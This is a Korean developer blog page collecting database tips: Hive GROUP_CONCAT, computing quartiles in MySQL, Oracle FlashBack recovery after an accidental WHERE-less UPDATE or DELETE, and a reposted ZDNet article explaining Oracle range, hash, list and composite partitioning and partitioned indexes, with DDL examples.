'rdb'에 해당하는 글 8건

Hive GROUP_CONCAT

rdb 2015.04.09 14:46

Hive에서 GROUP_CONCAT를 사용하고자 한다면 아래와 같이 사용할 수 있다.


1
2
3
SELECT GROUP_COL CONCAT_WS('|', COLLECT_SET(CONCAT_COL))
FROM TABLE_NAME
GROUP BY GROUP_COL
cs


끝.

저작자 표시
신고

'rdb' 카테고리의 다른 글

Hive GROUP_CONCAT  (0) 2015.04.09
MySQL(MariaDB) 사분위수 구하기  (0) 2014.09.02
Oracle FlashBack  (0) 2011.04.05
DB 파티셔닝  (0) 2011.03.07

WRITTEN BY
빵군
Web Programmer HOONS닷넷(http://www.hoons.kr) 2011 ASP.NET 시삽 http://about.me/y2kpooh

받은 트랙백이 없고 , 댓글이 없습니다.
secret

특정 데이터 분포를 쉽게 확인할 수 있는 수치로는 최소값, 중간값, 평균값, 최대값 그리고 사분위수가 있다.

사분위수는 데이터의 균등한 분할로 25%, 50%, 75%, 100%를 나타내며 1사분위수(1Q)는 25% 값에 해당한다.


사분위수를 알아내면 BOXPLOT과 같은 Chart를 통해 데이터 분포를 시각화 할 수 있을 것이다.

아쉽게도 R과 같은 통계언어의 경우는 쉽게 사분위수를 구할 수 있으나 MySQL의 경우는 지원하는 내장함수가 존재하지

않는다. 그래서 SQL를 통해 사분위수를 구할 수 있는 방법을 알아 보고자 한다.


boxplot 해석을 돕기 위한 그림(출처)



 
SET GROUP_CONCAT_MAX_LEN = 10485760;
SELECT
MIN(COLUMN_NAME) AS 'MIN',
SUBSTRING_INDEX(SUBSTRING_INDEX(GROUP_CONCAT(COLUMN_NAME ORDER BY COLUMN_NAME SEPARATOR ','),',', 5/100 * COUNT(*) + 1), ',', -1)  AS `5TH PER`,
SUBSTRING_INDEX(SUBSTRING_INDEX(GROUP_CONCAT(COLUMN_NAME ORDER BY COLUMN_NAME SEPARATOR ','),',', 25/100 * COUNT(*) + 1), ',', -1)  AS `1ST QU`,
SUBSTRING_INDEX(SUBSTRING_INDEX(GROUP_CONCAT(COLUMN_NAME ORDER BY COLUMN_NAME SEPARATOR ','),',', 50/100 * COUNT(*) + 1), ',', -1)  AS `MEDIAN`,
AVG(COLUMN_NAME) AS 'MEAN',
SUBSTRING_INDEX(SUBSTRING_INDEX(GROUP_CONCAT(COLUMN_NAME ORDER BY COLUMN_NAME SEPARATOR ','),',', 75/100 * COUNT(*) + 1), ',', -1)  AS `3RD QU`,
SUBSTRING_INDEX(SUBSTRING_INDEX(GROUP_CONCAT(COLUMN_NAME ORDER BY COLUMN_NAME SEPARATOR ','),',', 95/100 * COUNT(*) + 1), ',', -1)  AS `95TH PER`,
MAX(COLUMN_NAME) AS 'MAX'
FROM TABLE_NAME

원리는 간단하다. GROUP_CONCAT 함수로 데이터를 합쳐서 분위수에 해당하는 수치를 구해 SUBSTRING_INDEX함수로 데이터를 추출하는 방법이다. 참 쉽죠? 

아! 그리고  합쳐지는 데이터가 많을 경우 꼭 SET GROUP_CONCAT_MAX_LEN = 10485760; 와 같은 설정이 필요함


끝.

참고 : http://web.performancerasta.com/metrics-tips-calculating-95th-99th-or-any-percentile-with-single-mysql-query/



저작자 표시
신고

'rdb' 카테고리의 다른 글

Hive GROUP_CONCAT  (0) 2015.04.09
MySQL(MariaDB) 사분위수 구하기  (0) 2014.09.02
Oracle FlashBack  (0) 2011.04.05
DB 파티셔닝  (0) 2011.03.07

WRITTEN BY
빵군
Web Programmer HOONS닷넷(http://www.hoons.kr) 2011 ASP.NET 시삽 http://about.me/y2kpooh

받은 트랙백이 없고 , 댓글이 없습니다.
secret

Oracle FlashBack

rdb 2011.04.05 22:14
DB를 다루는 개발자라면 아래와 같은 경험을 한번쯤 경험해봤을 것이다.

특정조건을 만족할때 특정 컬럼을 변경할때... 혹은 특종조건을 만족할때 해당 로우를 삭제할때
쿼리를 작성한다면 아래와 같을 것이다.

UPDATE TABLE SET C = 1 WHERE NUM = 1;
DELETE FROM TABLE WHERE NUM = 1;

하지만 본인은 어제 술을 엄청먹어서 술도 안깬 상태에서 일은 엄청많다 스트레스도 엄청받고 있는 상태에서
해당 쿼리를 작성할 경우... 한번쯤 실수(?)를 할 수 있지 않을까? 아래와 같이 말이다.

UPDATE TABLE SET C = 1;
DELETE FROM TABLE;

물론 COMMIT을 하지 않았다면 ROLLBACK을 하면 되겠지만...

작성한 쿼리가 문제없는지 확인할세도 없이 다른 업무가 주어져 COMMIT을 해버렸다고 가정하자.

자... 조금 정신차리고 보니까 WHERE절을 주지 않았다... 그때 부터 패틱상태가 되는거다. @.@;

하지만 다행이도 복구할 수 있는 방법이 있다..Oracle FlashBack이라는 기능이다.

FlashBack란 과거의 특정 시점으로 복구시키는 오라클 기능이다.

FlashBack 사용법을 간단히 정리하면 아래와 같다.

SELECT * FROM TABLE AS OF TIMESTAMP ( SYSTIMESTAMP - INTERVAL '30' MINUTE);

여기서 INTERVAL '30' MINUTE은 30분 이전의 해당 테이블의 데이터를 가져오라는 내용이다.

위 쿼리를 이용하면 실수(?)로 인한 패닉상태를 벗어날 수 있게 된다.

더 자세한 내용은 아래를 참고 하기 바란다.

Oracle Undo log 사용법 및 flash back 사용방법

  1258333339_Flashback_query.pdf

 참고로 10g의 신기능

  1258333339_10g_r2의_신기능.pdf



저작자 표시
신고

'rdb' 카테고리의 다른 글

MySQL(MariaDB) 사분위수 구하기  (0) 2014.09.02
Oracle FlashBack  (0) 2011.04.05
DB 파티셔닝  (0) 2011.03.07
READPAST 그리고 WITH(NOLOCK)  (0) 2009.12.19

WRITTEN BY
빵군
Web Programmer HOONS닷넷(http://www.hoons.kr) 2011 ASP.NET 시삽 http://about.me/y2kpooh

받은 트랙백이 없고 , 댓글이 없습니다.
secret

DB 파티셔닝

rdb 2011.03.07 18:40

원문 : http://www.zdnet.co.kr/news/news_view.asp?artice_id=00000039137247&type=det

[지디넷코리아]
근래에 많은 기업들의 데이터베이스가 대용량화 되면서 이를 효과적으로 관리할 수 있는 방안을 찾는 것이 관리자들의 주요 업무가 됐다. 이를 위한 매우 효과적인 방안 가운데 하나가 파티셔닝이다.

일반적으로 단순한 명령어 위주로만 알려져 있지만 실제 현장에서 접하는 파티셔닝의 효용은 그 이상이다. 익숙한 개념이지만 그동안 제대로 알지 못했던 파티셔닝의 의미와 대표적인 활용 사례를 살펴보자.

필자는 많은 현장 사이트에서 대용량의 가치 있는 데이터들이 놀라운 능력을 보유하고 있는 데이터베이스 안에서 사용자의 무지로 인해 방치돼 있거나 잘못 사용되고 있어 역효과를 일으키는 모습을 많이 보아 왔다. 예를 들어 총 테이블 건수 1억 건이 넘는 상황에서 우리가 어떤 형태로든 건드려야 할 부분이 약 10% 정도라고 할 때 그 테이블 전체를 읽지 않고 1000만 건만 읽을 수 있게 해야 하는 것이 당연하지만 실제로는 그렇지 못한 경우를 많이 보아 왔다.

어떻게 처리해야겠다는 생각도 없이 무조건 명령어(command)부터 날리는 것이다. 그렇다면 필요한 테이블 만을 다루려면 어떻게 해야 할까. 이를 위해 필요한 개념이 바로 테이블 파티셔닝(Table Partitioning)이다.

파티셔닝은 지난 강좌에서 살펴본 사항들과 함께 어떤 자동화된 툴로 절대 해결할 수 없는 부분으로 실제로 어떤 상황에서 파티셔닝이 필요하다고 정형화된 법칙은 없다. 중소 용량의 데이터베이스에서도 상황에 따라 꼭 사용해야 하는 경우가 있고, 초대용량의 경우 파티셔닝을 쓰지 않으면 시스템 자체가 관리되지 않을 수도 있다(필자 역시 컨설팅을 하면서 이 파티셔닝을 이용해 많은 시스템을 효율적으로 운영할 수 있다는 것을 직간접적으로 체험한 바 있다).

그러나 대부분의 파티셔닝 관련 자료들은 형식적으로 파티셔닝의 종류를 나열하고 스크립트 정도를 언급하는 수준이다. 이런 식의 접근은 한계가 명확하다.

오히려 파티셔닝을 올바르게 이용하기 위해서는 먼저 데이터베이스 액세스 방식의 정확한 차이와 장단점 그리고 파티션을 이용한 풀 스캔(full scan)에 대해 정확하게 이해할 필요가 있다. 파티셔닝은 일종의 기능일 뿐이어서 스캔에 대한 정확한 이해없이는 이를 사용할 이유도, 어떻게 사용해야 할지도 전혀 알 수가 없다. 각 스캔 방식의 장단점을 알고 어떤 상황에서 어떤 스캔 방법이 유리한 지를 명확하게 이해해야 그에 대한 보완책으로서 파티셔닝의 개념이 보이기 시작한다.

파티셔닝 세계 입문
대용량 테이블이나 인덱스를 파티셔닝한다는 것은 하나의 Object를 여러 개의 세그먼트로 나눈다는 의미이다. 즉 하나의 테이블이나 인덱스가 동일한 논리적 속성을 가진 여러 개의 단위(partition)로 나누어져 각각이 PCTFREE, PCTUSED, INITRANS, MAXTRANS, TABLESPACE, STORAGE PARAMETER 등 별도의 물리적 속성을 갖는 것이다.

특히 관리해야 할 데이터가 늘어나면 성능과 스토리지 관점에서 문제가 생길 수 있는데, 이를 해결할 수 있는 효율적인 방법 가운데 하나가 곧 파티셔닝이다. 파티셔닝은 보통 다음과 같은 장점을 갖고 있다.

◆ 데이터 액세스시(특히 풀 스캔시) 액세스의 범위를 줄여 성능을 향상시킨다.
◆ 물리적으로 여러 영역으로 파티셔닝해 전체 데이터의 훼손 가능성이 줄어들고 데이터 가용성이 향상된다.
◆ 각 파티션별로 백업, 복구 작업을 할 수 있다.
◆ 테이블의 파티션 단위로 디스크 I/O를 분산해 부하를 줄일 수 있다.

오라클 DBMS에서 제공하는 파티셔닝 방식에는 레인지(range) 파티셔닝, 해시(hash) 파티셔닝, 리스트(list) 파티셔닝, 컴포지트(composite) 파티셔닝(레인지-해시, 레인지-리스트) 등이 있다.

특정 컬럼 값을 기준으로 분할하는 레인지 파티셔닝
레인지 파티셔닝은 어떤 특정 컬럼의 정렬 값을 기준으로 분할하는 것이다. 주로 순차적인(historical) 데이터를 관리하는 테이블에 많이 사용된다. 예를 들면 ‘가입계약’이라는 테이블이 있고 여기에 몇 년 동안의 데이터가 쌓여 있다면, 보통 5년치 데이터만 관리하고 이 가운데 자주 액세스하는 하는 것은 최근 1~2년 정도가 일반적이다.

따라서 이를 년별, 월별로 파티셔닝하고 애플리케이션의 SQL을 조정해 전체 데이터가 아닌 최근 정보를 가지고 있는 파티션만 액세스하도록 하면 전체 데이터베이스의 성능을 향상시킬 수 있다. 일부 사례의 경우 가입계약_1999, 가입계약_2000처럼 월별 또는 년별로 테이블을 따로 만들어 사용하기도 했지만 실제로 쓰는 데 불편한 점이 많고 액세스하는 SQL이 복잡해지는 단점이 있다. 다음은 레인지 파티션을 만드는 DDL(Data Definition Language) 스크립트다.

CREATE TABLE CONTRACT
  (I_YYYYMMDD VARCHAR2(8), I_CUSTOMER VARCHAR2(9), …… )
TABLESPACE TBS1
STORAGE (INITIAL 2M NEXT 2M PCTINCREASE 0)
  PARTITION BY RANGE (I_YYYYMMDD)
  (PARTITION PAR_200307 VALUES LESS THAN (‘20030801’),
  PARTITION PAR_200308 VALUES LESS THAN (‘20030901’), …… )

PARTITION BY RANGE (COLUMN_LIST)는 특정 컬럼을 기준으로 파티셔닝을 할 것인지를 결정하는 것이고, VALUES LESS THAN (VALUE_LIST)는 해당 파티션이 어느 범위에 포함될 것인지 상한을 정하는 것이다. PARTITION BY RANGE에 나타나는 COLUMN_LIST를 파티셔닝 컬럼이라고 하며 이 값이 파티셔닝 키를 형성한다.

파티셔닝 컬럼은 결합 인덱스처럼 최대 16개까지 지정할 수 있다. VALUESS LESS THAN에 나타나는 VALUE_LIST는 파티셔닝 컬럼들의 상한 값으로, 여기 지정된 값보다 작은 값만을 저장하겠다는 의미이다. 이런 스크립트에서 지정한 물리적 속성들은 각 파티션들이 생성될 때 개별적으로 물리적 속성을 지정하지 않으면 각 파티션들은 이러한 속성 값을 적용 받게 된다.

오직 성능 향상, 해시 파티셔닝
해시 파티셔닝은 특정 컬럼 값에 해시 함수를 적용해 분할하는 방식으로, 데이터의 관리 목적보다는 성능 향상에 초점을 맞춘 개념이다. 레인지 파티셔닝은 각 범위에 따라 데이터 양이 일정치 않아 분포도가 일정치 않은 단점이 있는데, 해시 파티셔닝을 이런 단점을 보완해 일정한 분포를 가진 파티션으로 나누고, 균등한 분포도를 가질 수 있도록 조율해 병렬 프로세싱으로 성능을 높인다. 실제로 분포도를 정의하기 어려운 테이블을 파티셔닝을 할 때 많이 이용하고 2의 배수 개수로 파티셔닝하는 것이 일반적이다.

해시 파티셔닝으로 구분된 파티션들은 동일한 논리, 물리적 속성을 가지다(단 테이블스페이스(tablespace)는 유일하게 파티션별로 지정할 수 있다). 또한 레인지 파티션과 달리 각 파티션에 지정된 값들을 DBMS가 결정하므로 각 파티션에 어떤 값들이 들어 있는지를 알 수 없다. 그러나 대용량의 분포도가 일정치 않은 테이블을 마이그레이션할 때는 프로그램 병렬 방식과 함께 유용하게 사용할 수 있다. 다음은 해시 파티션을 만드는 DDL 스크립트이다.

CREATE TABLE CONTRACT
  ( SERIAL NUMBER, CODE VARCHAR2(4), ……)
TABLESPACE TBS1
STORAGE (INITIAL 2M NEXT 2M PCTINCREASE 0)
PARTITION BY HASH(SERIAL)
  (PARTITION PAR_HASH_1 TABLESPACE TBS2,
  PARTITION PAR_HASH_2 TABLESPACE TBS3, ……)

함께 쓰일 때 더욱 강력한 리스트 파티셔닝
리스트 파티셔닝은 특정 컬럼의 특정 값을 기준으로 파티셔닝을 하는 방식이다. 주로 이질적인(distinct) 값이 많지 않고 분포도가 비슷하며 다양한 SQL의 액세스 패스에서 해당 컬럼의 조건이 많이 들어오는 경우 유용하게 사용된다. 예를 들어 ‘서비스 계약’이라는 테이블이 있고 서비스를 최초 가입한 대리점을 ‘가입 대리점’, 변경사항을 처리한 대리점을 ‘처리 대리점’이라고 한다면 모든 서비스의 가입, 해지, 전환 등의 처리 데이터에는 이 두 대리점이 존재한다. 테이블 구조를 보면 다음과 같다.

CREATE TABLE SERVICE_CONTRACT
  (I_YYYYMMDD VARCHAR2(8), I_CUSTOMER VARCHAR2(6),
  I_DLR_IND VARCHAR2(2), I_DEALER VARCHAR2(6), ……)

즉 I_DLR_IND(대리점 구분)라는 컬럼이 존재하고 ‘A’일 때는 ‘가입 대리점’, ‘S’일 때는 ‘처리 대리점“이라고 할 때 대부분의 조회 패턴에는 가입 대리점 또는 처리 대리점에 해당하는 값이 들어오기 마련이다. 이럴 때 I_DLR_IND로 리스트 파티셔닝을 한다면 어떨까. 즉 집합의 서브 타입을 분류할 때 리스트 파티션은 매우 유용하다. 지금 예로 든 것은 단편적인 것에 불과하지만 리스트 파티셔닝의 위력은 강력하다. 특히 컴포지트 파티션에서 레인지 파티션과 함께 사용하면 전체 데이터베이스의 성능을 크게 향상시킬수 있다. 다음은 리스트 파티션을 만드는 DDL 스크립트이다.

CREATE TABLE SERVICE_CONTRACT
  (I_YYYYMMDD VARCHAR2(8), I_CUSTOMER VARCHAR2(6),
  I_DLR_IND VARCHAR2(2), I_DEALER VARCHAR2(6), …….)
TABLESPACE TBS1
STORAGE (INITIAL 2M NEXT 2M PCTINCREASE 0)
PARTITION BY LIST (I_DLR_IND)
  (PARTITION PAR_A VALUES (‘A’), PARTITION PAR_S VALUES (‘S’))

PARTITION BY LIST에 나타나는 COLUMN_LIST는 파티셔닝 컬럼으로 파티션 키에 해당하고(단 단일 컬럼만 지정할 수 있다), VALUESS LESS THAN에 나타나는 VALUE_LIST는 파티셔닝 컬럼들의 값이다. 여기에 나타낸 값에 해당하는 행들을 저장하겠다는 의미가 된다.

레인지의 장점을 그대로, 레인지-해시 컴포지트 파티셔닝
레인지-해시 컴포지트 파티셔닝은 레인지 방식을 사용해 데이터를 파티셔닝하고 각각의 파티션 내에서 해시 방식으로 서브 파트셔닝을 하는 방식이다. 서브 파티션이 독립된 세그먼트가 되는 것이 특징으로, 다음과 같은 장점이 있다.

◆ 관리와 성능 등 레인지 파티션의 장점을 그대로 수용한다.
◆ 해시 파티션의 이점인 데이터 균등 배치와 병렬화
◆ 서브 파티션에 특정 테이블스페이스를 지정할 수 있다.
◆ 서브 파티션별로 풀 스캔을 할 수 있어 스캔 범위를 줄여 성능을 향상시킨다.

레인지 파티션에서 해당 테이블이 단지 논리적인 구조이고 실제 데이터는 파티셔닝된 세그먼트에 저장됐던 것처럼 컴포지트 파티션에서도 해당 테이블과 파티셔닝된 테이블은 단지 파티셔닝을 위한 논리적인 구조일 뿐이다. 데이터는 가장 하위에 위치한 서브 파티션 영역에 저장된다. 다음은 레인지-해시 컴포지트 파티션을 생성하는 DDL 스크립트이다. PARTITION BY RANGE (I_YYYYMMDD)에 의해 레인지로 파티션을 한 후 SUBPARTITION BY HASH에 의해 서브 파티셔닝을 수행했음을 알 수 있다.

CREATE TABE TB_RANGE_HASH
  (I_YYYYMMDD VARCHAR2(8), I_SERIAL NUMBER, SALE_PRICE NUMBER, ……)
TABLESPACE TBS1
STORAGE (INITIAL 2M NEXT 2M PCTINCREASE 0)
PARTITION BY RANGE (I_YYYYMMDD)
SUBPARTITION BY HASH (I_SERIAL)
  (PARTITION SALES_1997 VALUES LESS THAN (‘19980101’)
  (SUBPARTITION SALES_1997_Q1 TABLESPACE TBS2,
  SUBPARTITION SALES_1997_Q2 TABLESPACE TBS3), ……)

레인지-리스트 컴포지트 파티셔닝
레인지-리스트 컴포지트 파티셔닝은 레인지 방식을 사용해 데이터를 파티셔닝하고 각 파티션 안에서 리스트 방식을 이용해 서브 파티셔닝하는 방식이다(이때 서브 파티션은 독립된 세그먼트가 된다). 레인지-리스트 컴포지트 파티션은 레인지-해시 컴포지트 파티션과 비슷하지만 서브 파티션이 리스트 파티션이라는 점이 다르다. 실제 업무에서는 레인지-해시보다 유용한 면이 많다. 다음은 레인지-리스트 컴포지트 파티션을 생성하는 DDL 스크립트이다.

CREATE TABLE TB_RANGE_LIST (
  I_YYYYMMDD VARCHAR2(8), I_AGR_IND VARCHAR2(2), I_DELAER VARCHAR2(6), …….)
TABLESPACE TBS1
STORAGE (INITIAL 2M NEXT 2M PCTINCREASE 0 MAXEXTENTS UNLIMITED)
PARTITION BY RANGE (I_YYYYMMDD)
SUBPARTITION BY LIST (I_AGR_IND)
  (PARTITION PAR_1997 VALUES LESS THAN (‘19980101’)
  (SUBPARTITION PAR_1997_A VALUES (‘A’), SUBPARTITION PAR_1997_A VALUES (‘S’)),
    ……)

파티션된 인덱스의 참뜻
‘파티션된 인덱스(partitioned index)’라고 하면 대부분의 개발자들은 로컬 인덱스를 떠올린다. 또한 파티션된 테이블에서만 쓰이는 것으로 생각한다. 그러나 이것은 명백한 오산이다. 파티션된 인덱스는 파티션된 테이블과 별개의 것으로, 단지 많은 상호 연관을 갖고 있을 뿐이다. 파티션된 인덱스는 문자 그대로 인덱스를 파티셔닝한 것으로, 해당 테이블이 파티션된 테이블이든 파티션되지 않은(non-partitioned) 테이블이든 상관없이 만들 수 있다.

예를 들면 ‘EMP’ 테이블의 크기가 상당히 크고 파티션되지 않은 일반 테이블일 경우 다음과 같은 과정을 통해 파티션된 인덱스를 만들 수 있다. 이를 ‘Global Prefixed Partitioned Index’라고 부르는데, 파티션 인덱스와 마찬가지로 대용량 데이터 환경에서 성능을 높이고 관리를 편리하게 하기 위해서다.

CREATE INDEX EMP_IDX1 ON EMP (DEPTNO)
GLOBAL
PARTITION BY RANGE (DEPTNO)
  (PARTITION PAR_10 VALUES LESS THAN (‘20’) TABLESPACE TBS1,
  PARTITION PAR_20 VALUES LESS THAN (‘30’) TABLESPACE TBS2,
  PARTITION PAR_30 VALUES LESS THAN (‘40’) TABLESPACE TBS3,
  PARTITION PAR_40 VALUES LESS THAN (‘50’) TABLESPACE TBS4,
  PARTITION PAR_MAX VALUES LESS THAN (MAXVALUE) TABLESPACE TBS5)

파티션된 인덱스가 유용한 이유는, 앞서 파티션의 개념에서 설명한 것처럼 하나의 인덱스를 여러 개의 독립적인 물리 속성을 가진 세그먼트로 나누어 생성, 관리할 수 있기 때문이다. 오라클 DBMS에서 제공하는 인덱스는 글로벌/로컬 인덱스와 Prefixed/Non-Prefixed 인덱스로 분류된다.

파티션된 인덱스와 일반 인덱스 사이의 차이점은 파티션 테이블과 일반 테이블의 그것과 동일하다. 인덱스는 인덱스 컬럼과 Rowid 순으로 값이 정렬되는데, 이런 특성은 파티션 인덱스에서도 동일하다. 많은 개발자들이 파티션된 인덱스는 전체 테이블 값이 정렬되지 않는다고 생각하지 하지만 이것은 사실과 다르다. 글로벌 파티션된 인덱스의 경우 테이블에 대해 값 정렬이 보장돼 있으며, 인덱스도 파티션별로 독립적으로 관리할 수 있다. 두 가지 방식의 차이는 <그림 1>과 같다.

<그림 1> 파티션된 인덱스와 파티션되지 않은 인덱스의 차이

파티션되지 않은 인덱스는 하나의 루트(root) 노드에서 리프(leaf) 노드까지 전체적인 밸런스를 유지하는 구조이고, 파티션 인덱스는 파티션 별로 독립적인 루트 노드와 리프 노드를 갖고 있음을 알 수 있다. 따라서 파티션되지 않으면 대용량 테이블에서는 글로벌 인덱스의 깊이(depth)가 매우 깊어질 수 있는 단점이 있다.

반면 파티션된 인덱스는 각 파티션별 깊이가 일반 인덱스의 깊이보다 얕고 인덱스도 파티션 별로 할 수 있어 병렬 프로세싱을 이용한 인덱스 관리에 매우 효과적이다.

그렇다면 글로벌 인덱스와 로컬 인덱스는 어떤 차이가 있는 것일까? 많은 개발자들이 파티션됐는지 여부로 판단하지만 이것은 잘못된 생각이다. 앞서 설명한 것처럼 글로벌 인덱스도 파티셔닝할 수 있으며, 이를 파티션별로 관리할 수도 있다. 글로벌 인덱스와 로컬 인덱스의 가장 큰 차이는 ‘정렬’이다. 즉 글로벌 인덱스는 테이블 전체에 대해 인덱스된 컬럼과 Rowid 순으로 정렬되고, 로컬 인덱스는 해당 파티션 내에서만 인덱스된 컬럼과 Rowid 순으로 정렬된다.

또한 로컬 인덱스는 ‘Local’이라는 말에서 알 수 있듯이 지역적인 인덱스로, 해당 테이블(base table)의 파티션 키로 파티셔닝된 인덱스다. 일반적으로 로컬 인덱스의 구성 컬럼에 반드시 파티션 키가 포함돼야 가능한 것으로 알려져 있지만 로컬 인덱스에는 파티션 키가 포함되어 있지 않아도 사용할 수 있다. 다음 예제를 보자. PACKAGE_DLR_IDX1 인덱스의 구성 컬럼에 테이블 파티션 키인 I_DLR_IND가 포함되지 않아도 검색조건에 I_DLR_IND = ‘C’라는 검색 조건이 있기 때문에 해당 파티션의 로컬 인덱스를 이용하는 것을 알 수 있다.

select
*from PACKAGE_DLR
where i_package = ‘AAA’ and i_dlr_ind = ‘C’
Operation Object Name PStart PStop
SELECT STATEMENT Hint=CHOOSE      
TABLE ACCESS BY LOCAL INDEX ROWIDPACKAGE_DLR 3 3
INDEX RANGE SCAN PACKAGE_DLR_IDX 3 3

글로벌 인덱스는 전역적인 인덱스로, 기본적으로는 파티션되지 않은 인덱스이다. 대부분의 개발자들은 글로벌 인덱스를 파티셔닝해 사용할 생각을 하지 못하는데, 대용량 테이블에서 인덱스 관리의 효율성을 높이고 인덱스 검색 성능을 높이기 위해서는 이를 파티셔닝하는 것이 좋다. 글로벌 인덱스는 기본 테이블의 파티션 키와 무관하게 파티셔닝하는 것으로 설사 기본 테이블의 파티션 키로 글로벌 인덱스를 파티셔닝했다고 해도 로컬 인덱스처럼 동일파티셔닝(equipartitioning)된 개념이 아니므로 테이블 DDL시 전체 인덱스를 다시 생성해야 한다.

그렇다면 글로벌 파티션 인덱스의 인덱스 컬럼 값은 어떻게 전체 테이블에 대해 정렬을 보장하는 것일까. 예를 들어 5000만 건의 파티션되지 않은 EMP 테이블을 부서번호에 따라 파티셔닝했다고 가정하면 다음과 같다.

CREATE INDEX EMP_IDX1 ON EMP (DEPTNO)
GLOBAL
PARTITION BY RAGE (DEPTNO)
(PARTITION PAR_10 VALUES LESS THAN (‘20’) TABLESPACE TBS1,
PARTITION PAR_20 VALUES LESS THAN (‘30’) TABLESPACE TBS2,
PARTITION PAR_30 VALUES LESS THAN (‘40’) TABLESPACE TBS3,
PARTITION PAR_40 VALUES LESS THAN (‘50’) TABLESPACE TBS4,
PARTITION PAR_MAX VALUES LESS THAN (‘MAXVALE’) TABLESPACE TBS2,

<그림 2> Global Prefixed Partitioned 인덱스

<그림 2>는 Global Prefixed Partitioned 인덱스의 구조다. Prefixed와 Non-Prefixed는 인덱스 파티셔닝 키가 인덱스의 선두 컬럼으로 오는가 그렇지 않은가의 차이가 있다. <그림 2>에서도 ‘Prefixed’란 인덱스의 파티션 키(DEPTNO)가 인덱스 선두 컬럼(DEPTNO)이 되는 것을 알 수 있다. 글로벌 인덱스의 경우 모든 인덱스 컬럼 값이 정렬돼 있다. 각 인덱스 파티션의 루트 블럭(root block)에 들어가는 값들이 인덱스 파티션에 따라 정렬되기 때문에 자연적으로 리프 블럭(leaf block)에 들어가는 모든 값들도 정렬되는 것이다. 반면 Global Non-Prefixed 인덱스를 파티셔닝하면 레인지 파티셔닝 방식으로만 가능하다. 이것은 정렬 때문인데, 레인지 파티션은 정렬 기능을 이용해 파티셔닝 키 자체를 생성하는데 반해 다른 파티셔닝 방식은 정렬과 상관없이 수행하기 때문이다.

로컬 인덱스는 Prefixed 인덱스와 Non-Prefixed 인덱스를 모두 지원한다. 로컬 인덱스는 기본적으로 현재 테이블의 파티션 키가 인덱스의 파티션 키가 되기 때문에 인덱스 컬럼에 현재 테이블의 파티션 키가 포함되지 않아도 인덱스를 생성할 수 있다. 또한 인덱스 컬럼 값의 정렬이 전체 테이블에 대해 보장된 것도 아니기 때문에 인덱스 파티션 키가 인덱스의 선두 컬럼이 될 필요가 없다. 또한 Non-Partitioned 인덱스이든 파티션 인덱스든 상관없이 인덱스를 이용하고자 할 때는 무조건 인덱스 파티션 키를 조회해야 하는 글로벌 인덱스와 달리 로컬 인덱스는 조회 검색조건에 파티션 키가 들어올 수도 있고 들어오지 않을 수도 있다.

대용량 DB 테이블과 인덱스 전략
파티션 인덱스 전략은 파티션 테이블과 밀접하게 연관되어 수립해야 하지만 여기서는 파티션 인덱스를 위주로 이야기를 풀어본다. 먼저 인덱스 크기에 대한 논의는 기본적으로 테이블보다는 훨씬 작게 생성, 관리하는 것이 원칙이다. 따라서 중소 용량의 데이터베이스 환경에서는 파티션 인덱스의 유용성을 따질 필요가 없다. 단 중소 용량의 데이터 환경일 경우에서도 테이블이 파티셔닝돼 있다면 파티션 인덱스를 고려해야 한다. 또한 기본적으로 파티션되지 않은 인덱스(일반 인덱스) 전략을 기본으로 해 테이블이 파티셔닝 된 경우와 인덱스를 파티셔닝했을 때의 장점을 비교해 보아야 한다.

먼저 테이블 파티션 키가 항상 ‘=’로 들어오는 경우 또는 파티션 범위가 크지 않은 경우에는 로컬 인덱스가 최상이다. 인덱스 컬럼의 순서와 구성은 액세스 패스에 따라 생성하면 되지만 최대한 가볍게 생성하는 것이 좋다. 기본 테이블의 파티션 키는 반드시 포함될 필요가 없으나, 테이블이 레인지 파티션이고 한 파티션 범위 안에서 파티션 키의 분포도가 좋을 경우 이를 포함하는 것을 고려해 볼만하다. 이렇게 하면 각 파티션당 인덱스가 파티션되지 않았을 때보다 가벼워지고 데이터 마이그레이션을 할 때도 테이블 파티션과 인덱스 파티션이 동일하므로 exchange, add, drop, split 등 파티션별 관리도 용이하다.

또한 빠른 응답 시간을 요구하는 환경에서 대용량 파티션 테이블의 조회 조건에 파티션 키가 들어오지 않을 가능성이 있다면 파티션 글로벌 인덱스를 고려해 볼만하다. 이렇게 하면 파티션되지 않은 글로벌 인덱스와 달리 레인지 파티션 별로 인덱스가 가벼워지는 장점이 있고, 레인지 파티션 별로 인덱스 split와 rebuild 명령을 독립적으로 수행할 수 있다. 컬럼 분포도에 따른 파티셔닝이나 민감한(critical)한 상수 레인지에 대해서는 파티션을 독립적으로 생성해 인덱스 크기를 줄임으로써 인덱스 검색 시간을 줄일 수 있는 이점도 있다.

exchange는 파티션된 테이블의 특정 파티션과 파티션되지 않은 일반 테이블 간의 구조를 서로 바꾸는 것으로, 대용량의 파티션된 테이블을 관리하는 데 상당한 효과가 있다. <그림 2>와 같이 데이터가 없는 새로운 데이터 테이블과 데이터가 들어 있는 파티션 2를 exchange하면 파티션 2에 해당하는 디렉토리 정보가 새로운 데이터로 바뀌고 새 테이블 데이터에는 데이터가 들어간다. 이것은 실제 데이터가 이동하는 것이 아니라 데이터를 저장하는 테이블 정보만을 업데이트하는 것이다. 한 가지 주의할 점은 exchange하고자 하는 파티션과 테이블의 구조가 같아야 하고 속성들의 특성도 같아야 한다는 사실이다.
exchange의 기본적인 문법은 다음과 같다.

Alter table Tb_Partition
Exchange partition par_200306
With table Tb_Exchange
(Without validation Including indexes)

<그림 3> 대용량 DB에서 exchange 작업

한편 파티션된 대용량 테이블에 split 함수를 실행하면 많은 시간이 걸린다. 이럴 때 exchange 기능을 이용하면 빠르고 안전하게 작업할 수 있다. <그림 4>에서 보는 것처럼 split를 해야 하는 파티션을 exchange에 의해 빈 공간으로 만든 다음 split을 하고 다시 데이터를 채우기 위해 split하는 것이다. 이렇게 하면 대용량의 데이터라도 매우 빠른 시간내에 split 작업을 수행할 수 있다.

<그림 4> 대용량 DB에서 split 작업

한편 대부분의 DBA들과 개발자들은 동일한 테이블을 생성할 때 create table ~ as select 구문을 이용한다. 대용량의 데이터일 경우 parallel 옵션을 줘 생성하기도 한다. 만약 1억 건의 테이블을 그대로 생성한다고 할 때 어떤 방법이 효과적일까. 이렇게 파티션된 대용량 테이블을 생성할 때는 exchange, program parallel 방법을 사용하는 것이 바람직하다.

<그림 5> 동일 테이블을 만들 때

